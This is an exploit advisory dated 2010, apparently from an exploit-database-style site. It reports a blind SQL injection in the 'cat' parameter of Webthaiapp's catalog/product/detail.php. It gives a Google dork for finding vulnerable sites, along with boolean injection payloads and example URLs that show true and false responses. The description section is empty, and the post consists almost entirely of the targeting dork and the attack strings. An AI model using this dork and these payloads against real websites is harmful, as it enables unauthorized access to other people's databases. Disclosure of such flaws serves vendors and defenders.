49 lines
No EOL
1.3 KiB
Text
49 lines
No EOL
1.3 KiB
Text
--==+==================================================+==--
|
|
|
|
--==+ Webthaiapp detail.php(cat) Blind Sql injection Vulnerability +==--
|
|
|
|
--==+==================================================+==--
|
|
|
|
Date : 30-04-2010
|
|
|
|
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
|
|
AUTHOR: Xelenonz
|
|
|
|
Homepage : www.thaishadow.com
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
|
|
|
|
Application : Webthaiapp
|
|
|
|
Vendor : http://www.Webthaiapp.com/
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
|
|
DORK (google): "inurl:catalog/product/detail.php?cat="
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
|
|
DESCRIPTION:
|
|
|
|
EXPLOITS:
|
|
|
|
detail.php?cat=[valid catid]+and+1=1 << TRUE
|
|
|
|
detail.php?cat=[valid catid]+and+1=2 << False
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
|
|
Example
|
|
|
|
http://server/catalog/product/detail.php?cat=44+and+1=1
|
|
<< True
|
|
|
|
http://server/catalog/product/detail.php?cat=44+and+1=2
|
|
<< False
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
|
|
Special Thx : Krit admin@thaishadow,Thaishadow.com
|
|
|
|
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= |